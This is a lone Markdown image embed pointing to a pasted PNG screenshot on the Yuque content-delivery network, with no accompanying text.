![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677309807042-dc538917-8114-456e-9977-535f276746d8.png#averageHue=%239d9c9c&clientId=u4b384332-f3fe-4&from=paste&height=692&id=u566dc930&name=image.png&originHeight=865&originWidth=1920&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=236524&status=done&style=none&taskId=u6749b380-7362-425d-b965-91c911ae88b&title=&width=1536)